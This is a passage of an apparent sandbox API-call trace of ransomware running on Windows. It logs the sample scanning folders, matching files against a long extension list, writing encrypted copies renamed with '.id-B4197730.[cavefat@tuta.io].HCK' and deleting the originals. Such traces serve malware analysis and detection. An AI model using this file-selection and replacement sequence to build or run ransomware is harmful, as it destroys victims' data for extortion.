4 [0244.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".xls") returned 4 [0244.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.971] lstrlenW (lpString=".xlsx") returned 5 [0244.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0244.972] lstrlenW (lpString=".ppt") returned 4 [0244.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.972] lstrlenW (lpString=".zip") returned 4 [0244.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.972] lstrlenW (lpString=".rar") returned 4 [0244.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.972] lstrlenW (lpString=".bz2") returned 4 [0244.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.972] lstrlenW (lpString=".7z") returned 3 [0244.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.972] lstrlenW (lpString=".dbf") returned 4 [0244.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.972] lstrlenW (lpString=".1cd") returned 4 [0244.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.972] lstrlenW (lpString=".jpg") returned 4 [0244.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.972] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.972] lstrlenW (lpString="J0196354.WMF") returned 12 [0244.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0245.535] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=13702) returned 1 [0245.535] CloseHandle (hObject=0x2b0) returned 1 [0245.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 0x220 [0246.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0246.587] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.587] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0246.588] GetLastError () returned 0x0 [0246.588] ReadFile (in: hFile=0x384, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3586, lpOverlapped=0x0) returned 1 [0246.590] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3590, lpOverlapped=0x0) returned 1 [0246.593] ReadFile (in: hFile=0x384, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0246.593] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0246.594] SetEndOfFile (hFile=0x4bc) returned 1 [0246.594] CloseHandle (hObject=0x4bc) returned 1 [0246.594] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.594] SetEndOfFile (hFile=0x384) returned 1 [0246.596] CloseHandle (hObject=0x384) returned 1 [0246.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0246.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.597] lstrlenW (lpString=".doc") returned 4 [0246.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.597] lstrlenW (lpString=".docx") returned 5 [0246.597] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0246.597] lstrlenW (lpString=".pdf") returned 4 [0246.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.597] lstrlenW (lpString=".xls") returned 4 [0246.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.597] lstrlenW (lpString=".xlsx") returned 5 [0246.597] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0246.597] lstrlenW (lpString=".ppt") returned 4 [0246.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.597] lstrlenW (lpString=".zip") returned 4 [0246.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.597] lstrlenW (lpString=".rar") returned 4 [0246.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.597] lstrlenW (lpString=".bz2") returned 4 [0246.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.597] lstrlenW (lpString=".7z") returned 3 [0246.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.597] lstrlenW (lpString=".dbf") returned 4 [0246.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".1cd") returned 4 [0246.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".jpg") returned 4 [0246.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".doc") returned 4 [0246.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString=".docx") returned 5 [0246.598] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0246.598] lstrlenW (lpString=".pdf") returned 4 [0246.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString=".xls") returned 4 [0246.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.598] lstrlenW (lpString=".xlsx") returned 5 [0246.598] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0246.598] lstrlenW (lpString=".ppt") returned 4 [0246.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".zip") returned 4 [0246.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.598] lstrlenW (lpString=".rar") returned 4 [0246.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString=".bz2") returned 4 [0246.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString=".7z") returned 3 [0246.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".dbf") returned 4 [0246.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".1cd") returned 4 [0246.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0246.598] lstrlenW (lpString=".jpg") returned 4 [0246.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.598] lstrlenW (lpString=".id-") returned 4 [0246.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558898 | out: hHeap=0x4f0000) returned 1 [0246.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580428 | out: hHeap=0x4f0000) returned 1 [0246.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4020048 | out: hHeap=0x4f0000) returned 1 [0246.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4030050 | out: hHeap=0x4f0000) returned 1 [0246.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4224020 | out: hHeap=0x4f0000) returned 1 [0246.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558b80 | out: hHeap=0x4f0000) returned 1 [0246.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9d90 [0246.604] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9d90, Size=0x20) returned 0x40eb288 [0246.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9d90 [0246.604] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9d90, Size=0x20) returned 0x40eb4b8 [0246.604] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0246.604] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0246.604] Wow64DisableWow64FsRedirection (in: OldValue=0x35dff50 | out: OldValue=0x35dff50*=0x1) returned 1 [0246.604] lstrlenW (lpString="kernel32.dll") returned 12 [0246.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 [0246.604] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0246.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb288 | out: hHeap=0x4f0000) returned 1 Thread: id = 327 os_tid = 0xd58 [0224.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4040728 [0224.153] lstrlenW (lpString="C:") returned 2 [0224.153] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5732a8 [0224.153] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0224.153] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0224.153] lstrlenW (lpString="$GetCurrent") returned 11 [0224.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0224.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.154] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0224.154] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573628 [0224.154] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.154] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0224.154] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0224.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0224.154] lstrlenW (lpString="Logs") returned 4 [0224.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0224.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.155] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0224.155] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.155] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.155] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29fdc3e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa29fdc3e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DOWNLE~1.HCK")) returned 1 [0224.155] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK") returned 71 [0224.155] lstrlenW (lpString=".1cd") returned 4 [0224.155] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.155] lstrlenW (lpString=".3ds") returned 4 [0224.155] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.155] lstrlenW (lpString=".3fr") returned 4 [0224.155] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.155] lstrlenW (lpString=".3g2") returned 4 [0224.155] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.155] lstrlenW (lpString=".3gp") returned 4 [0224.155] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.155] lstrlenW (lpString=".7z") returned 3 [0224.155] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.155] lstrlenW (lpString=".accda") returned 6 [0224.155] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".accdb") returned 6 [0224.156] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".accdc") returned 6 [0224.156] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".accde") returned 6 [0224.156] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".accdt") returned 6 [0224.156] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".accdw") returned 6 [0224.156] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.156] lstrlenW (lpString=".adb") returned 4 [0224.156] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".adp") returned 4 [0224.156] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai") returned 3 [0224.156] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.156] lstrlenW (lpString=".ai3") returned 4 [0224.156] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai4") returned 4 [0224.156] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai5") returned 4 [0224.156] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai6") returned 4 [0224.156] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai7") returned 4 [0224.156] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ai8") returned 4 [0224.156] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".anim") returned 5 [0224.156] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.156] lstrlenW (lpString=".arw") returned 4 [0224.156] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".as") returned 3 [0224.156] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.156] lstrlenW (lpString=".asa") returned 4 [0224.156] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".asc") returned 4 [0224.156] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".ascx") returned 5 [0224.156] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.156] lstrlenW (lpString=".asm") returned 4 [0224.156] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".asmx") returned 5 [0224.156] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.156] lstrlenW (lpString=".asp") returned 4 [0224.156] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".aspx") returned 5 [0224.156] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.156] lstrlenW (lpString=".asr") returned 4 [0224.156] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".asx") returned 4 [0224.156] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.156] lstrlenW (lpString=".avi") returned 4 [0224.157] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".avs") returned 4 [0224.157] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".backup") returned 7 [0224.157] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.157] lstrlenW (lpString=".bak") returned 4 [0224.157] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".bay") returned 4 [0224.157] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".bd") returned 3 [0224.157] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.157] lstrlenW (lpString=".bin") returned 4 [0224.157] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".bmp") returned 4 [0224.157] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".bz2") returned 4 [0224.157] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".c") returned 2 [0224.157] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.157] lstrlenW (lpString=".cdr") returned 4 [0224.157] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cer") returned 4 [0224.157] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cf") returned 3 [0224.157] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.157] lstrlenW (lpString=".cfc") returned 4 [0224.157] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cfm") returned 4 [0224.157] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cfml") returned 5 [0224.157] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.157] lstrlenW (lpString=".cfu") returned 4 [0224.157] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".chm") returned 4 [0224.157] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cin") returned 4 [0224.157] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".class") returned 6 [0224.157] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.157] lstrlenW (lpString=".clx") returned 4 [0224.157] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".config") returned 7 [0224.157] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.157] lstrlenW (lpString=".cpp") returned 4 [0224.157] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cr2") returned 4 [0224.157] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".crt") returned 4 [0224.157] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".crw") returned 4 [0224.157] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.157] lstrlenW (lpString=".cs") returned 3 [0224.157] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.158] lstrlenW (lpString=".css") returned 4 [0224.158] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".csv") returned 4 [0224.158] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".cub") returned 4 [0224.158] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dae") returned 4 [0224.158] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dat") returned 4 [0224.158] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".db") returned 3 [0224.158] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.158] lstrlenW (lpString=".dbf") returned 4 [0224.158] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dbx") returned 4 [0224.158] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dc3") returned 4 [0224.158] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dcm") returned 4 [0224.158] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dcr") returned 4 [0224.158] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".der") returned 4 [0224.158] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dib") returned 4 [0224.158] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dic") returned 4 [0224.158] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dif") returned 4 [0224.158] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".divx") returned 5 [0224.158] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".djvu") returned 5 [0224.158] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".dng") returned 4 [0224.158] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".doc") returned 4 